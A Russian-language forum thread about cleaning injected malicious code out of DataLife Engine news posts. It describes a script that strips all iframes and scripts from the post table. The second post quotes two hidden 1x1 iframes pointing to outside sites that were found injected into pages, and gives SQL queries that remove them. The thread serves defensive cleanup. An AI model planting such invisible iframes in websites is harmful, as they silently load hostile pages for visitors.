1 2011-01-25 10:01:06 (2011-04-23 22:46:40 отредактировано SV)

Тема: Удаление вредоносного кода в новостях DLE

murderer24 создал небольшой, но очень полезный скрипт, удаляющий из новостей (короткая новость, полная новость, название, описание, кейворды) любых скриптов и фреймов. Это позволяет очистить базу от всевозможного вредоносного кода, по каким-то причинам занесенного туда.

Скрип заливается в корень сайта и запускается. После запуска он сканирует таблицы PREFIX_post на наличие в них кодов iframe и script, которые затем удаляет из базы.

Скрипт работает порциями по 100 новостей за шаг (можно, естественно, изменить).

Поделиться

2

Re: Удаление вредоносного кода в новостях DLE

При использовании данного скрипта следует быть осторожным, т.к. скрипт работает в автоматическом режиме и удаляет все скрипты и фреймы, содержащиеся в новостях без всякого разбора. Так что, если Вы самолично добавляли в новости какой-то полезный скрипт (например, скрипты видеороликов), то он так же будет безжалостно удален!


Вот, буквально свежие фреймы:

<iframe src="http://diz777vik.narod2.ru/1/" width="1" height="1"></iframe>
<iframe src="http://tyt-vse.ucoz.ru/index/0-2" width="1" height="1"></iframe>

Вручную можно удалить, сделав запрос к базе:

UPDATE `dle_post` SET `full_story` = REPLACE(`full_story`, '<div align="center"><iframe src="http://tyt-vse.ucoz.ru/index/0-2" width="1" height="1"></iframe></div>', '');
UPDATE `dle_post` SET `full_story` = REPLACE(`full_story`, '<div align="center"><iframe src="http://diz777vik.narod2.ru/1/" width="1" height="1"></iframe></div>', '');

Поделиться